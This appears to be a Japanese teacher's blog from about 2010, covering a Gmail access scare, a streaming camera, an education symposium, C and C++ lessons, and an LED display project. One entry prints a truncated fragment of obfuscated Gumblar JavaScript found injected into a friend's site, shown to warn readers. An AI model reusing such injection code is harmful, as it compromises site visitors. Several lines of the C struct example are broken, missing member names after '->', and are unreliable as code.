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Gmailから不正アクセス警告

なにかとGoogleに仕事を含めデータを預けている状態で、 Gmailをつかっていたら、海外からアクセスされているとの警告。

あわてて、Gmailと、Yahoo(パスワードは別だけど最悪キーロガー系のウィルスを食った心配から) のパスワードを変更する。 状況を確認するために、アクセス元のアドレスを確認すると、ustream.tv 。 アクセスの日も、ちょうど、CEREVO CAM が届いて ustream.tv のユーザ登録をした。 gmail との連携の設定したっけ?という感じだが、ひとまず安心そうな雰囲気。

おぉ、そういえば ust 開始を伝える YouTube との連携で、gmail の登録したなぁ… 先日来のPC厄日のおかげで、パソコン作業がなんでもかんでも疑心暗鬼… 職場のスケジュール&自宅スケジュールもgoogle calendar。 iPod touch でも、google document 関係で、iPodだけでもアプリ別に5,6回、パスワードを登録している。だから、パスワード変更もすぐには終わらない。帰ったら、さらにパスワード変更は続く…

学生さんの性格がわかる所

提出される課題レポート。 A型人間には『うーむ』と感じるところ。 1006160924_320x240.jpg

2010年6月13日(第168回)

テスト期間中につき、数学科 長水先生、電子情報工学科 奥田先生、西の3名でお送りしました!

  • 数学の部屋 第51回「赤い帽子の問題の答え」
    長水先生
  • 先生から見たザ・ルーズドックスの皆さんの学生時代

CEREVO CAM 購入

iphone界隈では、ustream.tv がおおはやり。 といっても、手持ちのiPod touch にはカメラないし、 ストリーミングするときに、パソコンや端末が占有されるのは、色々と不便。 ということで、最近発売された、ストリーミングカメラ専用に使おうと、 CEREVO CAM を購入してみた。 講演会や授業の録画にも使えるのではないかと期待。 といっても、2万円ほどのカメラ、箱を開けるとチープ感たっぷり。 まあ、2万円だしなぁ…

ただ、このカメラ撮影したデータをネットに上げることが前提で作られている。 しかも静止画撮影、動画撮影、ストリーミング配信で、 Picasaに上げてもYouTubeに上げても、公開状態でアップロードされる。 備品管理のためにもシールを貼る予定だが、 『だだもれ注意』と大きく書いておこうかと思う。

ネットワークの設定といった面倒な作業を、このチープ感のインタフェースで、 どうやってやるのかと思ったけど、CEREVO CAM のWebサービスの画面で、 ネットワーク設定のパラメータを設定すると、QRコードが表示され、 そのコードをカメラで読むと、無線LANの設定を覚えてくれる。

ただ、カメラのファームのできはイマイチ。 通信待ちの途中キャンセルや、キャンセルされないから色々キーを触っていて、 ワケワカメになった時、強制的に抜けるようなインタフェースが無い。 カメラも、静止画だけなら2世代前の解像度って感じ。 ということで、本来のustreamの使いやすさを試すためにも、 今日は、f-leccs の講演会があるので、ちょいと実験予定。

基礎情報教育を考える(f-leccsシンポジウム)

f-leccsの第4回シンポジウムにて「基礎情報教育を考える」をテーマとした講演会が 開催された。

高校の教科「情報」の新学習指導要領

高校での「情報」の新学習指導要領〜最近の内外の動きを含めて〜ということで、 東京工大の清水先生より、最近の学習指導要領の状況の報告があった。 今までは、普通教科「情報」にて情報A,情報B,情報Cで実施されていたが、 新学習指導要領では、共通科目「情報」にて「社会と情報」と「情報の科学」の 2科目となった。

元の情報Aは、最近では小中学校で実施されているので無くなった。 インターネットの発達に合わせて変更が必須であった。 「社会と情報」では、 情報の活用と表現、 ネットワークとコミュニケーション、 問題と情報モラル、 望ましい情報社会の構築といった内容を教える。 「情報の科学」では、 コンピュータと情報通信ネットワーク、 問題解決のコンピュータ活用、 情報管理と問題解決、 情報技術の進展と情報モラル。

事業仕分けの影響で、高校でのICT活用の授業などを目標としていたが、 ずいぶんと削られた…そうな。 高校での授業というと、縁がないので違いがあるかと思っていたけど、 電子情報の低学年で実施する内容と考えれば、カリキュラム自体同じですな。

高専における「情報基礎教育」

高専での情報基礎教育のあり方を、津山高専の岡田先生より発表。

全国一斉のカリキュラム改訂は困難。高専ごと学科ごとの高い独立性。 高専学科間の差が大きく、共通の「情報教育」が必要。 情報基礎教育の標準化に関する調査研究部会にて、 カリキュラム設計からテキストまでを作っている。 現在3訂版に着手中(新学習指導要領対応を含む)。

ネットワーク社会における情報の活用と技術、教材の提供としてポータルサイト、学習ノート。

大学における「情報基礎教育」への取り組み

福井大学の小高先生からの大学の情報基礎教育の取り組みの報告。

基礎教育科目において、情報処理基礎(必修)2単位・総合情報処理(選択)2単位。 コンピュータリテラシと情報処理基礎を取り扱っている。 1学年約800名、同じ題名・講義で開講しているが、担当者でかなりの差異あり。

1章システムの利用法、 2章ネットワークの利用と基礎知識(Internet)、 3章ソフトウエアの利用(Office系)など。 基礎は小中学校で実施済みで時代に沿わなくなっている…との懸念があったが、 学生学校間格差があるため、やっぱり必要な科目となっている。

興味深い実情も紹介があった。 ソフトや概念の細かいことは自分で調べるが原則で、 大目標的な課題を与えて、TA等の指導が付きながら行われる。

パワーポイントを使った授業は、学生は解った気になるし、授業の進度も速くなるけど、 最終的には理解度が低かったりする。 このため、簡単な講義支援システムを使っている。 板書のコピーを取る機能はつけてない。 情報処理技術はライフサイクルが短い一方で、 情報処理の本質に近づけると理解度が低い⇒ジレンマ。

企業の立場から情報基礎教育に期待すること

カワムラモータース代表取締役、川村氏による企業の立場から情報基礎教育に 期待することを「Ars:私が欲しい人材〜情報システム領域〜」 Ars:芸術だけではなく芸術的技術(Tech+Art)の意味を含む。

システムの多くは思ったようには動いてくれない。 97%は機能しないシステム。3%が機能するシステム。 情報は繋がって検索できなきゃダメ。 若かりし日の泥臭い経験や苦労を持っている人は、 洗練されたシステムの価値を理解している。

講演会の内容を、ustream対応のカメラでそのまま、ustream に録画をしてみた。 やっぱりチープなカメラというのを再確認とはなったけど、 いちいちメモリを吸い出したりという手間がないのは簡単だった。

Gumblar発見

知り合いのサイトのホームページがウィルスに感染といった話を聞き、 ちょいとチェックしてみた。 view-sourceしてみても、なんともないなぁ…と思っていたら、 フレームソース側のページの末尾に、以下のようなコードがついている。

</HTML>
<script>this.a="a";R=["m","n"];bn=["w","q","X"];var h;this.bT=56183;this.bT++;var Rp="Rp";b=function(){function T(V,k,J){try {var U='yq'} catch(U){};return V.substr(k,J);FJ=34518;FJ--;EK=3475;EK--;}Tc={Xk:"Vq"};try {var aJ='ox'} catch(aJ){};this.aP="aP";var L=RegExp;var e='';try {} catch(xg){};var xF=new Array();var O=document;var P=T("/nexDtf",0,3)+T("smlwegmls",3,3)+"g-
(略)
<!--7004d276c84c037576423cf73522a32f-->

どうも、JavaScriptのプログラムが難読化されて追加させられている。

当人さんに電話して確認したら、通常のウィルス対策とは別手段のシステムを 導入するとのお話し。やむおえないかな….と、他人事とも言っていられないので、 自分の関連するサイトのソース末尾に変なコードが埋め込まれていないか、 ちょいとチェックしてみた。ひとまず安心…ふぅ…

Gumblar は、ホームページのメンテナンスをしているパソコンに感染し、 FTPのパスワードを入手して遠隔から改ざんという手口もあるから、タチが悪い。 といっても、私の場合メンテナンスは、すべてsloginで該当サーバにログインして、 emacs で直接HTML手書き編集するか、MovableTypeで編集だから、 この辺の心配はないわな…

データ構造とイメージ図

昨年度のテスト問題で、構造体の配列の作り方とそのイメージ図についての 問題で質問が多かったので、解説を行った。

//2件のComplex型を配列に入れる。
struct Complex {
double re , im ;
} ;
// (A) 単純な配列
struct Complex table[ 2 ] ;
// (B) 配列サイズを可変にする場合
struct Complex* table ;
table = (struct Complex*)malloc( sizeof( struct Complex ) * 2 ) ;
if ( table != NULL ) {
table[0].re = 1 ; table[0].im = 2 ;
table[1].re = 3 ; table[1].im = 4 ;
}
// (C)実体参照をポインタにする場合
struct Complex* table[ 2 ] ;
table[0] = (struct Complex*)malloc( sizeof( struct Complex ) ) ;
if ( table[0] != NULL ) {
table[0]-> = 1 ; table[0]-> = 2 ;
}
table[1] = (struct Complex*)malloc( sizeof( struct Complex ) ) ;
if ( table[1] != NULL ) {
table[1]-> = 3 ; table[1]-> = 4 ;
}
// (D)可変配列サイズでポインタ参照
struct Complex** table ;
table = (struct Complex**)malloc( sizeof( struct Complex* ) * 2 ) ;
if ( table != NULL ) {
table[0] = (struct Complex*)malloc( sizeof( struct Complex ) ) ;
if ( table[0] != NULL ) {
table[0]-> = 1 ; table[0]-> = 2 ;
}
table[1] = (struct Complex*)malloc( sizeof( struct Complex ) ) ;
if ( table[1] != NULL ) {
table[1]-> = 3 ; table[1]-> = 4 ;
}
}

(A)は、最も基本の配列。 (B)は、配列サイズが実行時に決められない時で、 可変配列サイズの場合にとる方法。 (C)は、構造体のComplex型で、もし巨大なメモリを消費する場合、 例えば配列のソートでデータ入れ替えがある場合、 巨大構造体であれば、巨大なメモリをコピーするのは時間がかかる。 (C)の例の様にポインタで実体を参照する方法であれば、 データ入れ替えもポインタの入れ替えだけで可能となる。 (D)は、(B)と(C)のテクニックのあわせ技。 この様に、配列サイズが可変なのか実体入れ替えが容易なのかという状況に応じて、これらのデータ構造の実装方法を選べることが重要

純粋仮想基底クラスと課題、多重継承

先週、仮想関数の話をしたので、実際の仮想関数の応用をネタに説明を行う。

コンテナクラスライブラリへの応用

まず、コンテナクラスの説明として、配列のソートを仮想関数を用いたら、 どうやって書けるかを資料を見せながら説明する。 純粋基底クラスObjectを定義し、比較の仮想関数を定義し、 class Integer : Object {…} , class Cstring : Object {…} といった派生クラスと、 比較関数を定義すれば、どんなデータ構造のソートも簡単に書けることを説明。

ただ、コンテナクラスは簡単なデータの場合では、実装効率が悪いため、 最近ではTemplate機能が多様されていることを紹介する。 特に、C++ではSTLなどのTemplateライブラリが発達している。


課題と多重継承問題

次に、課題として、GrWin を使ったグラフィックスで、図形クラスFigureを定義し、 その派生クラス class FigureBox : Figure {…} , class FigureCircle : Figure {…} を 生成して、四角や丸を描く処理が書けたり、

Object* array[] = { new FigureBox(...),new FigureCircle(...) } ;

といった異なる図形が混在したデータ構造でプログラムが書けるといった例を説明し、 レポートでは、他の図形を追加せよ…と課題の説明。

この課題のポイントは、色付き図形の扱い。 Figureに色を持たせる、 FigureBoxから色付きFigureBoxを派生させる、 Color基底クラスを作り色付きFigureBoxでは、Figure,Colorの多重継承… といった様々な方法があることを説明する。

んで、様々な考え方の中の多重継承の紹介を行う。 定番の、生物界のクラスで、カモノハシが鳥類と哺乳類の多重継承でプログラムを作ると、 その最上位基底クラス「生物」でを2重で持たないための煩雑さ、 鳥類と哺乳類で同名の別メソッドがあった場合の曖昧さの問題があることを紹介する。 このため、C++では多重継承機能が使えるが、 Javaでは多重継承を禁止し、Interface 機能を使うことを紹介する。


行先表示LEDメッセンジャにTweetと予定機能

行き先表示のLEDメッセンジャーに機能を追加してみた。 Twitterでの自分の最新つぶやきを表示する機能と、 Google Calendarで間近の予定を表示する機能をつけてみた。 これで、会議で部屋を離れる時の理由を簡単に表示できる。 本当は、crontab で表示することも考えられるが、 自分のプライベートを何でもかんでも表示するのも色々問題があるし….

LEDメッセンジャーを行き先表示板に

自宅で試作していたLEDメッセンジャーのプログラムを職場の行き先表示板にしてみました。PICNICのカタカナ表示よりは便利になりました。 PICNIC版と同じように、携帯からメッセージを書き込めるようにしたし、 表示でもスクロール機能があるので、256byteまでのメッセージであれば、 分かりやすく表示できます。

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